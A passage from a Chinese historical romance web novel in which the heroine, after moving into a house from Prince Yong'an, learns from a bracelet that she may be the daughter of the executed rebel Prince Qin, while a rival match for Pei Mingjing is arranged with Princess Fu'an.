“好好养胎,等到孩子该出生时,小姐会告诉你的。”
九栀只回了这么一句话,就带着丫鬟们把玉澜院的东西给搬空了。
临走前,双鲤让九栀等等,她有事要办。
九栀有些疑惑,还有什么事。
不一会儿,就看到双鲤拿着五百两银票回来了。
“哪来的钱?莫不是小姐藏的私房钱?”
她有些吃味。
怎么这么重要的事大小姐不告诉她,只让双鲤去办。
“不,这是侯爷给的。”双鲤一脸得意。
“啊?”九栀震惊了。
定远侯每次给银子都像是在割肉,怎么会一下给了双鲤那么多银票。
“嘿嘿,这你就不懂了吧,侯爷爱面子得很。”双鲤露出狡黠的笑。
她先前特意去和侯爷诉苦,说小姐在外边多么可怜多么惨,亲生父母做生意赔了钱,如今拿不出银子来,小姐搬出侯府后,恐怕吃不好也穿不好。
届时小姐还怎么出门与京城的千金小姐们交际。
定远侯二话不说立刻就给了她银票,还嘱咐她:
“让星儿在外边好好照顾自己,莫要亏待了自己。遇到难事,只管差人回侯府来寻本侯。”
双鲤活灵活现地模仿着定远侯的语气,直接把九栀给逗笑了。
“干得漂亮,小姐若是知道,也要夸你能干了!”
两人一块将玉澜院的东西都带走,除了侯府的家生子,他们将剩下愿意跟随晏逐星的丫鬟小厮也带走了。
不得不说,永安王真的很贴心。
宅子打理得十分干净,晏逐星直接将行李搬来就可以入住了。
整个宅院只有她一个主人。
躺在床上,晏逐星只觉得痛快极了,她想做什么就做什么,不需要担心有人往她身边安插探子,也不需要去勾心斗角算计这个算计那个。
翌日醒来,晏逐星收到了第一份拜帖。
她原以为第一个会来的是永安王,没想到收到的竟然是裴芜的拜帖。
裴芜与她交情不错,为人单纯讲义气,她自然不会拒绝与她往来,因而便应下了这场拜访。
只是她没想到,这一次来的不止裴芜,还有裴明镜。
裴芜看着晏逐星有些尴尬。
昨日得知晏逐星搬出侯府后,她便想着来探望一二,没想到大堂兄知道后,非要跟着一块来。
她拒绝不了大堂兄,只得将他一块捎来了。
“不请自来有些冒昧,还望晏大小姐不要见怪。小小薄礼,恭贺大小姐乔迁新居。”裴明镜将贺礼送了上来。
晏逐星原本想说冒昧那你就赶紧走吧,但看到裴明镜送来的贺礼又将那些话咽了回去。
裴明镜送的是一对成色极好的霁蓝釉梅瓶,里边插了两株鲜艳欲滴的红梅。
除此之外,他还送了两大筐上好的银丝炭,炭条整齐,隐约带着一丝松香。
侯府十日领一次银丝炭,昨日双鲤他们从侯府带来的剩下银丝炭只够用两日了。
这个时候再重新去买,不仅不好买,价格还要比平日里贵上不少。
裴明镜的这份礼物,送得倒是及时。
秉承着伸手不打送礼人,来了带礼物就是好客人的原则。
晏逐星还是给了他一个笑脸。
“哪里的话,裴大人请坐。”
裴芜见她笑了,这才亲热地上前挽住了她的胳膊,介绍道:“这花是我摘的。我记得你先前的院子里也有梅花,我怕你不习惯,特意从国公府摘了两株新鲜的一块送来。”
“多谢。”晏逐星笑着让下人将花瓶摆好,没有再搭理裴明镜。
她心知肚明,裴明镜不可能单纯来恭贺她乔迁新居。
但敌不动我不动。
他不问,她装傻。
他一问,她惊讶。
他叹气,她摇头。
总而言之,主打的就是一个敷衍。
“这院子真漂亮。”裴芜感慨。
“我也觉得不错。”晏逐星点头。
“若之后你不嫌弃,我可要经常来找你玩了。”裴芜羡慕极了。
一个人住那么大的院子,也太幸福了。
晏逐星笑道:“我怎会嫌弃你。我在京中并无闺中好友,你能常来看我,我心里欢喜极了。”
听到这话,裴芜看她的眼神带了一丝心疼。
真可怜。
小小年纪就被定远侯夫人拐走,后来定远侯夫人找到亲生女儿又将她关在家中不许她交友,每次宴会上都见不着她的面,怪不得没有好友。
“无妨,日后我会当你的好友。”裴芜郑重承诺。
见她们聊得火热,将他晾在一旁,裴明镜也不恼,他四下扫视了一圈,心中对晏逐星和永安王的关系愈发感到疑惑。
他来之前已经打听过了,这个宅邸并非关万海买下的,而是永安王赠予晏逐星的。
两人如今究竟是两情相悦,还是郎有情妾无意。
他忍不住开口道:“大小姐,听说这宅子是永安王送你的?”
“啊?是吗?裴大人听谁说的呀?”晏逐星装傻。
“大堂兄,这话可不能瞎说啊。”裴芜急了,远远地飞了一个白眼给兄长。
这事关乎姑娘家的名誉,怎么能胡说呢。
“昨日偶遇了户部清吏司的祁大人,他顺口提了一句。”裴明镜不疾不徐地回答。
“这也能顺口提么?若非裴大人刻意打听,祁大人又怎会透露永安王的私事?窥探亲王行踪,可是重罪。”晏逐星叹了一口气。
裴明镜脸色骤然一僵。
他既不能承认是刻意打听永安王的私事,那是窥探亲王行踪的重罪。
也不能说是为了打听晏逐星的私事,那就成了窥探未嫁女行止,同样有损清誉,更显居心叵测。
他意识到,晏逐星远比他想象的要更聪慧,也更难缠。
“本官去户部是为了查当年温氏给你上户籍的事情,正巧查出了你名下有一房产,我便询问了祁大人,这才知晓了永安王给你送宅子的事。”他不动声色地解释。
“裴大人说错了,宅子并非送,而是借给我的。”晏逐星浅浅一笑,命人将自己写的借据拿了上来。
“等到我有银子了,这宅子的钱,我会一次性付清买下。”
“原来如此。”裴明镜扫了一眼没有继续追问宅院的事情,而是将话题转移到了关万海夫妇身上。
“为何不见令尊令堂?”
“他们乃是行商之人,自然是去忙生意上的事情了。”晏逐星回答得滴水不漏。
“晏大小姐当真觉得他们是你的亲生父母?”裴明镜又问。
“侯爷当面让我们滴血认亲了,这还能有假?”晏逐星反问。
“滴血认亲做不得数。”裴明镜没想到他们确定亲子关系竟然是用这个法子。
这未免也太草率了些。
他将自己过往查案时发现的结论说了出来。
“世人皆道滴血认亲乃铁证,殊不知此法谬误百出。”
“本官办理过的案子里,亲子之血不相融者有之,毫无瓜葛之血相融者亦有之。此等粗陋之法,岂能定人伦、断亲缘?”
晏逐星没想到他连这个也知道。
她心念一动,让双鲤将自己从李氏那里要来的镯子拿了过来。
“这是我小时候被温如霜抱走时手上戴着的镯子,不知裴大人识得此物晓来历?”
裴明镜没想到会有意外收获,连忙接过来仔细查探。
这个镯子乃是赤金打造,嵌着琉璃,精妙绝伦,一看就很贵重。
关家一个小小的布匹商贩,怎会舍得给女儿打如此贵重的镯子,此事定有蹊跷。
裴明镜说出了自己的疑问。
晏逐星便将关家夫妇上回糊弄她的话说了出来。
裴明镜追问:“他们找的匠人姓甚名谁?本官派人打听便知。”
“据说那位匠人早已离开通州,如今不知去了何处。”晏逐星继续忽悠。
什么不知去了何处,恐怕是根本没有这个人吧。
这个东西,绝对不是关家夫妇能拿出来的。
他既然能猜到这点,没道理晏逐星猜不出来,毕竟她很聪明。
难道这就是当局者迷?
她太过渴望亲生父母,所以宁可错认关家夫妇?
裴明镜心底涌出一股说不清道不明的滋味。
他沉思片刻后,开口道:“若晏大小姐不介意,可否容许本官将此物带走,或许京中一些年长的夫人能识得此物出自哪位名家之手。”
晏逐星犹豫了一会儿,还是拒绝了:“不如裴大人将它画下,拿着画像去问吧。此物贵重,我不想让它离开我身边。”
与其让裴明镜去打听,还不如求永安王帮忙呢。
听她这么说,裴明镜也没有强求,而是直接要了笔墨纸砚与颜料,当场描下了镯子的样式。
这时,一旁眉头紧锁的裴芜忽然“啊”了一声。
两人抬头望向了她。
裴芜吓了一跳,摆摆手道:“我就是感觉这个镯子的样式有些眼熟,好像隐约见过类似的。”
裴明镜和晏逐星异口同声地询问:“你在哪里见过?”
第130章 镯子与身世
裴芜被两人这么盯着,紧张得都结巴了。
“我、我也不记得了。”
“那你仔细想想,到底在什么地方见过。”裴明镜忍不住催促。
“大堂兄,你别催我啊,你越催我,我脑子就越一片空白。”裴芜急得直跺脚。
“还有,你也别看我了,你看我我更想不起来了。”
“你转过头去,不许看着她。”晏逐星沉着脸扭头呵斥裴明镜。
这话一出,裴明镜和裴芜都瞪大了眼睛看着她。
裴明镜:?
她是在说他么?
裴芜:!
还是头一回看到有人敢用这样命令的语气对大堂兄。
晏逐星也意识到自己的语气好像不太适合,但话已出口,断然没有再改的可能。
她只得缓和了几分语气:“裴大人,你老盯着裴芜,她紧张,就更想不起来了。不如你先回避回避?”
裴芜连忙点头:“对!大堂兄,你回避吧,不然我真想不起来了。”
两人都这么说了,裴明镜只得转过身去,继续画那还没画完的镯子。
“没事,不着急,你慢慢想。”晏逐星命衔蝉将刚刚做好的山楂糕端了上来,配上一壶六安瓜片,让裴芜就着热茶与点心,边吃边想。
裴芜把玩着晏逐星小时候戴着的那个手镯,仔细看了又看。
终于,在一碟子山楂糕吃完的时候,她猛地一拍脑袋。
“我想起来了!”
裴明镜猛地转过身来,刚想开口问她想起什么了,就被晏逐星警告地瞪了一眼。
似乎是提醒他不许说话,免得打断了裴芜的思绪。
裴明镜:……
他感觉他现在连呼吸都是错的。
两人没说话,静静等着裴芜的下一句话。
“我小时候,有一个类似的镯子。”裴芜一句话惊呆了在场的所有人。
“只不过上边嵌着的不是蓝色的琉璃,而是红色的玛瑙。”
晏逐星怔怔地看着手里的镯子。
难道,她是裴家的孩子?
裴芜说完也想到了这个可能。
她怔怔地看着晏逐星:“难不成,你是我娘的孩子?我们是亲姐妹?”
“不可能。”裴明镜断然否认。
“二婶只生了你和光岳,没有别的孩子。”
裴芜出生时他已经六岁,记得很多事情了。
“那会不会是我出生时,有人将我与星儿调换了,星儿才是我娘的孩子?”裴芜联想到了定远侯府真假千金一事,脑洞大开。
裴明镜无奈地看着她:“你当卫国公府的护卫是死的吗?二婶生产时,祖母和我娘都在外边候着,你爹也在候着,里里外外几十个人,怎么调包?”
裴芜尴尬地摸了摸鼻子:“大堂兄言之有理。”
但她坐不住了,赶忙起身要走。
“不行不行,我得回去问问我娘到底怎么一回事。这个镯子为何跟我的那么像。”
晏逐星也等不及,她跟着站了起来。
“可否让我随你同去国公府,一块问问二夫人?”
“走吧。”裴芜二话不说拉着她回家。
裴明镜自然也跟着一块回家了,他对此事也很好奇。
窦淑容得知裴明镜和裴芜领着晏逐星回了国公府,差点没气死。
之前她才放过狠话,有晏逐星的地方没有她,如今晏逐星竟然直接登门入室了。
虽然她去的是二房的院子,但来了国公府,却不先来拜会她这个国公夫人,实属不知礼数。
“她竟然还敢来?!”
窦淑容咬牙切齿,厉声下令。
“来人,将她给我逐出府去,谁再敢放她进来,就是和我过不去。”
她的心腹嬷嬷容氏赶忙出来劝阻:“世子爷将人领回来说是要查案,若您将人撵出去,恐怕会让世子与您离心啊。”
“难道要让我咽下这口气吗?凭什么啊。”窦淑容很久没有这么窝火了。
“夫人,不如咱们去一趟大长公主府吧。听闻福安郡主受了伤,世子爷忙于查案没空探望,咱们走一趟正好。”容氏小心翼翼地提醒。
窦淑容听到这话一愣,旋即又觉得这主意确实不错。
福安郡主和朝华大长公主显然都看上了她的儿子,若他们想让这桩婚事能成,自然会除掉碍眼的人。
到时候根本不需要她出手处理晏逐星,公主府那边自然会解决。
“不错,速速命人递拜帖,我要去探望福安郡主。”窦淑容立刻吩咐了下去。
*
裴二夫人没想到裴明镜竟然会领着晏逐星来找她。
她心下暗道糟糕。
大嫂若是知道了,免不了要从早上念叨她到天黑了。
“娘,你可还记得我小时候有一个类似的镯子?”裴芜憋不住话,直接把来意说了。
晏逐星将镯子递上。
裴二夫人瞧见镯子有些怔神,而后脸色变得很难看。
她看着晏逐星的表情多了一抹惊恐,而后扭头看向女儿:“你记错了吧,你小时候没有这样的镯子。”
“不可能。”裴芜反驳,“我明明记得我有一个类似的,上边嵌着一块红玛瑙!”
裴明镜看出了二夫人的不自在,开口道:“二婶,此物关乎一件很重要的案子,若您知晓实情,万不可隐瞒。”
裴明镜的话比裴芜和晏逐星加起来都管用。
裴二夫人听到他这么说,挣扎了一会儿,最终还是命人去将裴芜的镯子找了出来。
两个镯子摆在一起,看着确实很相似。
“娘,你看,明明就很像,你刚刚为什么说我记错了。”裴芜嘟囔道。
裴二夫人轻轻掐了她的胳膊一把。
“傻孩子,你以为这是什么可以胡乱嚷嚷的事情吗?”
她的一句话,勾起了在场所有人的好奇心。
“娘,您就别卖关子了,您快说吧。”裴芜急忙催促。
裴二夫人叹了一口气,将下人们都遣了出去,方才开口:“你们拿来的这个镯子,我不能确定到底是不是当年的那个镯子。”
几人凝神屏息,等着她继续说下去。
“这个镯子和秦王府小郡主手上戴着的有些相似。”裴二夫人不敢把话说得太满。
毕竟秦王是不可提起的禁忌。
“秦王?”裴明镜眉头皱了起来。
“嗯。那回你祖父寿辰,秦王妃带着小郡主来贺寿,她手上戴着的镯子和这个很像。阿芜瞧见后便吵着闹着想要,你二叔就找人打了个类似的。但孔雀蓝的琉璃不好找,便用红玛瑙代替了。”
裴二夫人将裴芜镯子的来历解释了清楚。
裴明镜看向了晏逐星。
秦王当年谋逆,意图杀害先皇篡位,被判了个满门抄斩。
据说秦王妃带着年纪最小的小郡主逃出了京城,至今下落不明。
他在心里默默推算了一下小郡主的年纪,似乎和晏逐星差不多。
晏逐星不知道秦王的事情,她上辈子对这个人一无所知。
她看裴二夫人和裴明镜变幻莫测的表情,忍不住道:“秦王是谁?”
裴二夫人见裴明镜表情有变化,知道他应该也猜到了那个可能。
若晏逐星当初被温如霜从青州拐带回来,那她大概率就是那位被秦王妃带走的小郡主。
若真是如此,那麻烦可就大了。
秦王犯的可是谋朝篡位的大罪。
“秦王是先帝的长子,也是当今圣上的兄长。”裴明镜声音有些艰涩。
“当年先帝册立皇上为太子,命他继承大统。秦王抗旨不遵,竟联合王妃母家起兵逼宫,欲趁先帝病危之际夺位篡权。但先帝早有防备,太子护驾,手刃秦王。唯有秦王妃带着小郡主逃走,阖府上下尽诛。”
裴芜听完惊呼出声,裴二夫人赶忙捂住她的嘴,把她扯了下去。
“你们聊,我先和阿芜去看看新绣的帕子。”
晏逐星呆呆地站在原地。
所以,她是秦王的女儿?
若真是如此,那么当今圣上就是她的杀父仇人。
而她也是乱臣贼子之后。
她要怎么办?
见她露出了茫然的神色,裴明镜心头像被针轻轻扎了一下。
若晏逐星真是秦王的女儿,恐怕她再无生路。
毕竟秦王当年犯的,是株连九族的谋逆大罪。
他第一次生出了不想继续调查的念头。
不如就认下这个结果,让晏逐星继续当关万海夫妇的女儿。
“你别想太多,二婶也只说了,只是镯子很像罢了。可世上首饰千千万,谁规定只有秦王府才能有这样的镯子呢。”裴明镜忍不住开口安慰她。
“是啊,我爹娘说这镯子是他们找人打的。怎么会和秦王府扯上关系。说不定是那个匠人之前给小郡主打过首饰呢。”晏逐星干巴巴地笑了。
“嗯,你说得没错,很可能就是这样。如今二婶和阿芜有事要忙,不如我先命人送你回府吧?”裴明镜见她神思恍惚,语气也不自觉地温柔了几分。
“多谢裴大人。”晏逐星捏紧了手中的镯子,点了点头。
她这一次来,是坐了裴芜的马车,只能让他们送她回去。
晏逐星带着镯子,恍惚地上了马车。
她将手里的镯子翻来覆去地看了好几遍,不停地给自己找借口:
或许当初秦王妃带着女儿逃离京城时,身上盘缠不足,所以将镯子当掉被她亲生父母买走了呢?
又或者是她的亲生父母在不知情的情况下,帮了秦王妃母女,所以他们将镯子赠予爹娘聊表谢意呢?
晏逐星的脑子乱糟糟的,一路上涌现了万千的想法。
“吁——”
马车停下,到家了。
晏逐星回神。
她看着高悬的门匾,忍不住想:
若她真是秦王的女儿,那她现在住在谢翊宁送她的宅院里,算什么?
她没有说话,回到家后就躺回了床上一直盯着手里的镯子看,直到天黑,都没有起来用膳。
双鲤几人顿时忧心忡忡。
小姐去了一趟卫国公府回来,整个人就蔫巴巴的,竟然连饭都不吃了。
要知道,往常无论发生什么事情,就算天塌下来了,小姐都不会让自己饿肚子的。
小姐说过,天大地大吃饭最大。
饭要一口一口吃,事情要一点一点做,不能急,不能躁。
可如今,她却连晚饭都不吃了。
可见事情有多么严重。
几个大丫鬟商量了一会儿,决定让衔蝉用好吃的诱惑她。
“小姐,我今日煨了冬笋,鲜甜得很,您要不要尝一尝呀?”衔蝉端着汤入内,轻声询问。
“不,衔蝉,你让一让。”躺在床上的晏逐星猛地拿着镯子坐了起来。
她把玩了镯子一日,没看出什么问题来。
直到刚刚烛光摇曳,她无意间将镯心迎向光,竟然在镂空缠枝的暗影里,发现了一枚印迹。
第131章 那就娶她吧
衔蝉不明所以,侧过身子让开了。
晏逐星要来纸笔,将那个印迹描了下来。
描完之后,她愣在了原地。
那是一个纂体的“秦”字。
看来这个东西,出自秦王府无疑了。
晏逐星犹如被人当头泼了一盆冷水。
好不容易定远侯府的仇人快死光了,她以为她可以过上自由自在的日子了。
如今她成了罪臣之女,岂不是又要过上提心吊胆的日子?
“小姐?”衔蝉见她愣在原地,轻轻唤了她一声。
“没事,吃饭吧。”晏逐星深吸一口气,将心里的烦恼压下。
她可以让自己难过,可以让自己失落,但绝对不能太久。
今日已经懈怠了那么久,是时候该振作起来了。
吃饱饭了,再想下一步该怎么办。
“是。奴婢这就摆饭。”
见她愿意吃饭,衔蝉几人都高兴了起来。
*
卫国公府。
裴明镜嘱咐裴二夫人和裴芜不要将镯子的来历说出去,免得惹火烧身。
“明镜你放心吧,二婶不是那种会乱说话的人。”裴二夫人连忙保证。
秦王当年犯的可是谋逆的重罪,谁会想跟他扯上关系啊,她避得远远的都来不及。
裴芜也点了点头。
见裴明镜要离开,她还是没忍住追上去问道:“大堂兄,若是星儿真的是秦王的女儿……”
“没有证据的事,不可胡言。”裴明镜打断了她的话。
“她是关家夫妇的女儿,此事定远侯已经证实。而镯子是否出自秦王府,尚未证实。”
裴芜听到这话替晏逐星松了一口气。
“星儿还没过几天好日子,要是又变成秦王的女儿,那可真是太倒霉了。”
“这话你烂在肚子里莫要再提了。”裴明镜严肃地看着堂妹。
“嗯嗯,我保证不会再说了!”裴芜忙不迭点头,然后举手发誓。
裴明镜转身离开二房的院落,打算继续去彻查此事,结果就被母亲身边的丫鬟叫了过去。
“明镜,福安郡主受了伤,你等会儿随母亲一块去探望她可好?”窦淑容努力压下心头的不满,挤出了笑脸。
“母亲,我很忙,没空。”裴明镜直接拒绝了。
“你有空去找晏逐星,又把那野丫头带回国公府,这就是你所谓的忙?”窦淑容一秒破功,直接怒吼出声。
“母亲,我带她回府也只是为了查案。”裴明镜深吸一口气,试图跟她解释。
他不明白,为什么母亲一遇上晏逐星的事,就跟变了一个人似的。
“您为什么非要针对她不可呢?”
“我都说了,我与她并无男女私情。您一定要闹得我和她有点什么您才甘心吗?”
窦淑容还要说什么,就被一旁的嬷嬷猛地扯了一下衣袖。
她的理智勉强回笼。
她将喉间的怒火咽了回去:“好,母亲不逼你。”
缓了口气,她的声音变得温和了不少。
“可福安郡主那头,你总得给句明白话。若点头,按礼就该互换庚帖、合八字了。”
听到母亲提起婚事,裴明镜抿唇不语。
他脑袋朦朦胧胧闪过一个影子,快得让他有些抓不住。
他下意识地想要再拖一阵子。
“福安郡主很好,可我……”
他的话还没说完,就被窦淑容打断了:“好就行。那待会儿母亲去探望她,就与大长公主将此事定下吧。”
裴明镜原本想说的话此刻全都化作了沉默。
片刻后,他轻轻点了点头。
“好。那就定福安郡主吧。”
反正这些年明里暗里母亲替他悄悄相看了许多回,他都没什么感觉,只要门当户对,对方识大体能操持好国公府即可。
反倒是母亲挑来挑去总能挑出不满来。
如今福安郡主能让她满意,那就这样吧。
省得日后再折腾了。
“好。那你忙去吧。”有了他的准信,窦淑容先前的怒火顿时烟消云散。
儿子有了婚约,若晏逐星再恬不知耻地缠上来,到时候她可就师出有名,可以狠狠教训她了。
不对,大长公主和福安郡主也不会放过她的。
窦淑容满脸笑意,总算有空关心儿子今夜想吃什么了。
可裴明镜已经没有了用膳的心思。
“孩儿还有公务在身,先走一步。婚事……但凭母亲做主就是。”他袍袖一甩,径直离去。
“世子爷这还是不高兴啊。”一旁的容氏叹了一口气。
“那又如何,我是他亲娘,他还能恨我一辈子不成。等他日后有了孩子,就能明白我的苦心了。”窦淑容依旧没把这点小事放在心上。
她只想着马上就可以定下儿子的婚事了,很快,她就能抱上孙子了。
她梳妆打扮,兴高采烈地带着礼物去了朝华大长公主府。
“郡主这手怎么伤的,哟,看起来可真严重啊,如今可好些了?”窦淑容一脸关切地看着福安郡主。
听她提起手上的伤,福安郡主和朝华大长公主脸上都闪过了一抹愤恨。
但很快,母女二人都恢复如常。
那抹恨意快得让窦淑容都没察觉。
福安郡主柔柔道:“多谢夫人关心,是那日在宫中不小心被猫挠了一下。现下已经好多了。”
窦淑容一惊,愤愤道:“哟,挠人的畜生可不能留着。若是挠了人,焉知日后不会咬人,到时候麻烦可就大了。”
“你且宽心,”她执起福安郡主的手,安慰道,“待你进了国公府的门,这府里断不会容那些爪牙锋利的畜生,我不会让他们伤到你的。”
听到她这话,福安郡主恰到好处地露出了一抹羞涩的笑。
“夫人真真是和善至极。谁若能成了您的儿媳,就是享福去了。”
而后,她看向了朝华大长公主。
“母亲,你们聊,女儿先告退了。”
她知道接下来就是母亲和窦淑容谈婚事了,她理当避让。
朝华大长公主点了点头,示意她先离开。
“明镜今日怎么没来?”朝华大长公主问道。
若裴明镜真的看上她女儿,今日为何不来。
朝华大长公主心底有些不满。
“他公务繁忙,还在查案,抽不开身。但今日带来的礼物,都是明镜亲自选的。他对福安郡主很上心。”窦淑容赶忙解释。
“什么案子,大过年的劳烦他这般奔波?”朝华大长公主又问。
这可问到了窦淑容的心坎上,她还琢磨着若公主不问,她自己想法子将话题引到晏逐星身上去呢。
这下可好了,她自己提到了。
“还不是定远侯府那桩事。”窦淑容将近日闹得沸沸扬扬的事情说了出来。
虽然她已经很克制,但明里暗里都免不了对晏逐星有所贬低。
“哦?此事本宫也略有耳闻。”朝华大长公主听出了她话语中对晏逐星的不满。
也意识到了她话里的重点在裴明镜与定远侯府那个假千金交往过密的事情。
“区区一个商户女,你一介国公夫人,又何必将她放在心上。”
朝华大长公主不以为意。
见她没把晏逐星放在心上,窦淑容顿时急了:“此女尤擅蛊惑人心。烈国公与皇后,似乎都对她偏爱有加,尤其是永安王,护着她许多回了。”
“我就怕明镜查案时,会被她所惑啊。”
“可怜天下父母心,想必大长公主一定能理解我的苦心。我想要的儿媳,只认福安郡主这样端庄大方的,断不是那种来路不明的女子。”
朝华大长公主冷笑一声:“本宫的女儿,要嫁的自然也是这世间最好的儿郎。若是与其他女子不清不楚,我们福安是绝对不会嫁过去的。”
窦淑容面色一僵。
她没想到自己弄巧成拙了。
不仅没引起朝华大长公主对晏逐星的厌恶,反倒开始质疑裴明镜的品性了。
她僵硬地点了点头,笑道:“大长公主言之有理。我家明镜才貌、本事、品行,样样拔尖。皇上都亲口夸过他办事得力、心思缜密。为人处世更是光明磊落,从不沾惹那些乌七八糟的事。”
“说句掏心窝子的话,京里想跟我们结亲的门户多了去了,可我总觉得,唯有福安郡主这般才貌双全、贵气天成的姑娘,才是他的良配。”
窦淑容这一番软话总算让朝华大长公主面色好看了不少,也给了她一个准话。
“明镜这孩子,也算本宫看着长大的,他的品性本宫自是信得过。你且放心吧,没有人能毁了这桩天定的姻缘。”
窦淑容长长地舒了一口气。
太好了,有了朝华大长公主这番话,这门亲事是板上钉钉了。
窦淑容走后,朝华大长公主将女儿叫来,把裴明镜和晏逐星交往过密的事情告知了她。
福安郡主的态度和朝华大长公主如出一辙。
“区区一个被侯府赶出门的商户女,还想跟我抢人?简直荒谬。也就窦夫人没见过世面才会被她吓着了。”
福安郡主斗志昂扬。
她自小就知道自己长得美,同龄的少年郎总是偷偷用爱慕的眼神看着她。
可她瞧不上他们,觉得他们太幼稚。
直到母亲说起卫国公府有意与他们结亲,她才发现裴明镜这个人完美符合了她的要求。
容貌、才学、家世、举止,哪哪都让她很满意。
这个人,她要定了。
谁敢跟她抢,那她就会杀了她。
就像杀死那些无用的兔子雀鸟一般。
悄无声息地弄死,剥皮拆骨,最后化成一抔花肥,埋进土里,连痕迹都留不下。
第132章 坦白了秘密
昨夜晏逐星难得的失眠了。
重生回来后,她已经很久没有睡得那么糟糕了。
因而第二天起床时,她眼底一片乌青。
偏偏这时衔蝉敲响房门:“小姐,王爷命人送来了乔迁礼。”
晏逐星一愣。
她还不知道怎么面对谢翊宁的时候,他怎么就又让送礼物来了。
在她脑子还稀里糊涂的时候,她就已经被双鲤和衔蝉打扮好推了出去。
“王爷?”
来到花厅,晏逐星看到谢翊宁那一刻当即傻眼了。
她以为衔蝉说的是永安王让人把礼物送来了,也没说他本人也来了呀。
她竟然让他等了那么久???
“是新屋子睡得不习惯么?”谢翊宁瞧见她眼底的乌青,好奇地询问。
“不是。屋子很好,多谢王爷。”晏逐星手忙脚乱地行礼。
“本来昨日就该来给你送乔迁礼,但听说你这边有客人,就没来了。”谢翊宁忍不住试探。
“既然屋子很好,那就是昨日来的人让你心神不宁了?”
晏逐星没想到他竟然这般敏锐。
她下意识地否认:“没有。”
见谢翊宁明显不信,她只得含糊地找了个理由。
“我只是有些不安。”
“这么大的宅子王爷说送我就送我了,我该怎样才能报答您呢。”
“毕竟,您对我实在是太好了。好得让我有些惶恐。”
说完,她便垂下了眼眸。
听到她这么说,谢翊宁信了。
他恍然大悟。
从小父皇母后兄长都对他很好,因而他从来不觉得别人对他好需要什么心理负担。
他却忽略了晏逐星与他不同。
她是被温如霜拐带到侯府的,又受了那么多的欺负,整日被温氏母子洗脑说她有多不好。
如今他们非亲非故,他却对她这般好,她会觉得她不配,而且心里负担会很重,总想着怎么还回来。
对她有一分好,她就会想着还别人十分。
真是个傻姑娘。
他抬手,想要摸摸她的脑袋,却又觉得于理不合。
于是将手收了回来,轻咳两声:“你不是让衔蝉给本王送了借据么?”
“可不是您的每一次付出,我都能回报的。”晏逐星抬头,目光里多了一丝窘迫。
谢翊宁笑了。
“可不是每一份付出,都需要回报的呀。本王不需要你的任何回报,你好好吃饭,好好活着,就是对我最大的报答了。”
看着晏逐星呆呆的样子。这下他是真没忍住,伸手捏了捏她的脸颊:“喏,这就是本王要的报酬了。”
“一套京城三进的宅院,您捏了捏我的脸,就算报酬了?我的脸有那么值钱吗?”晏逐星这下是真的懵了。
谢翊宁被她的话逗得笑出了声。
“不。这是今日我给你送的乔迁礼的报酬。所以你不用想着给我回什么礼了。”
他下巴朝旁边一扬:“瞧瞧,这些礼物可还喜欢?”
只见一旁二十筐上好的银丝炭,堆得小山丘似的。
还有两个杵着足有她人高的细颈大花瓶。
晏逐星目瞪口呆。
一旁的停云在无人注意的角落悄悄翻了个白眼。
王爷昨日听闻裴大人送了两筐银丝炭,今日就送二十筐。
裴大人送了一对小花瓶,他就送一对大花瓶。
要不是怕晏大小姐的宅院没地方放那么多花瓶,侯爷指定花瓶也能送二十对过来。
在送礼这一块上,他们家王爷从不认输。
“多,多谢王爷。”晏逐星被这别开生面的乔迁礼给惊得都有些结巴了。
“区区薄礼,何足挂齿。”谢翊宁无所谓地摆了摆手。
“你看看可还缺什么?明日本王让人给你送来。”
“什么都不缺,已经很好了。”晏逐星鼻腔莫名有些发酸。
从记事起,谢翊宁是唯一一个不求回报对她好的人。
可她却很可能是逆王秦王的血脉。
若她真是秦王之女,那她与谢翊宁,便是死敌。
他们中间隔着血海深仇。
可他却偏偏对她这么好。
有朝一日,他要是知道她的真实身份,会不会亲手将她除掉。
“你别哭呀。”谢翊宁看着她滑落的泪,心揪成了一团。
“区区一对花瓶和二十筐银丝炭,就让你感动成这样了?这,这不值得啊。”
谢翊宁下意识地就伸手替她擦掉了眼泪。
一想到晏逐星日后很可能会被男人的一些不值钱的小把戏给感动,他就急了。
他总算体会到了,太子哥哥提起令嘉姐妹俩长大后要嫁人的那副幽怨语气是怎么一回事了。
要是他以后有女儿,女儿也这么轻易被男人感动,然后骗走,他真的要拔剑杀人了。
他当场做出了决定,以后要多给晏逐星送好东西。
好东西看多了,以后就不容易被骗了。
日后别的男人想要娶她,至少得做得比他好才行吧。
他的小救命恩人,岂是轻易就能娶走的。
“我没事。”晏逐星胡乱地擦掉了脸上的泪。
若不是谢翊宁提醒,她甚至都没发现她哭了。
“王爷,我一时失态,还望王爷不要计较。”她赶忙道歉,话音里带着一丝哽咽。
谢翊宁见她眼眶红红,犹豫了片刻后,将下人都遣了出去。
“本王有话单独对你说。”
“啊?”
晏逐星一愣。
等她反应过来的时候,下人们已经都退了出去。
晏逐星看着他如琉璃般清澈的眼眸,一颗心忽然乱跳了起来。
永安王要单独跟她说什么?
难不成,他真的心仪她?
可她要是秦王的女儿,他们就是堂兄妹,这是绝对不可以的。
“你不是一直很好奇本王为什么对你这么好吗?”谢翊宁的声音打断了她的胡思乱想。
“嗯。”晏逐星下意识地点头。
“国师的预言你知道吧?”谢翊宁一脸认真。
晏逐星再一次点头。
谢翊宁将这个只有父皇母后以及国师知道的秘密说了出来:
“上回国师回来,告诉本王,我的命数已改。有人救了我一命,我的死劫已过,可以平安活过二十岁了。”
“真的吗?那太好了!”晏逐星脱口而出。
永安王这么好的人,就该长命百岁。
看着她眼里毫不掩饰地替他开心,谢翊宁的心又软了几分。
她不关心是谁救了他,她只关心他能活下去。
谢翊宁柔声道:“国师说了,那个人就是你。因为你,本王的命运扭转了。所以我对你怎么好,都是理所应当的。记住了吗?”
国师没有说是谁,但他说是晏逐星就是晏逐星。
他又不是傻子,连自己的救命恩人都认不出来。
四下无人,谢翊宁总算得偿所愿,伸手摸了摸她的脑袋。
晏逐星没有注意到他悄悄咪咪摸她脑袋的举动,而是想着上辈子一箭穿心的事情。
当时是她挡在了谢翊宁的面前,难不成正是因为这件事,他们双双重生,所以谢翊宁的命运得到了改变?
“跟本王说话,你还敢走神?”谢翊宁再一次伸手捏了捏她的脸。
“我只是太惊讶了。”晏逐星回过神,乖巧回答,没有反抗任由他捏自己的脸。
谢翊宁看着她这乖巧的模样,愈发手痒,恨不得像抱着雪团儿那样把她抱到怀里一顿揉。
但想到那个场景,谢翊宁又觉得太不庄重了。
有损他王爷的形象,更有损人家姑娘的闺誉。
使不得,这可万万使不得。
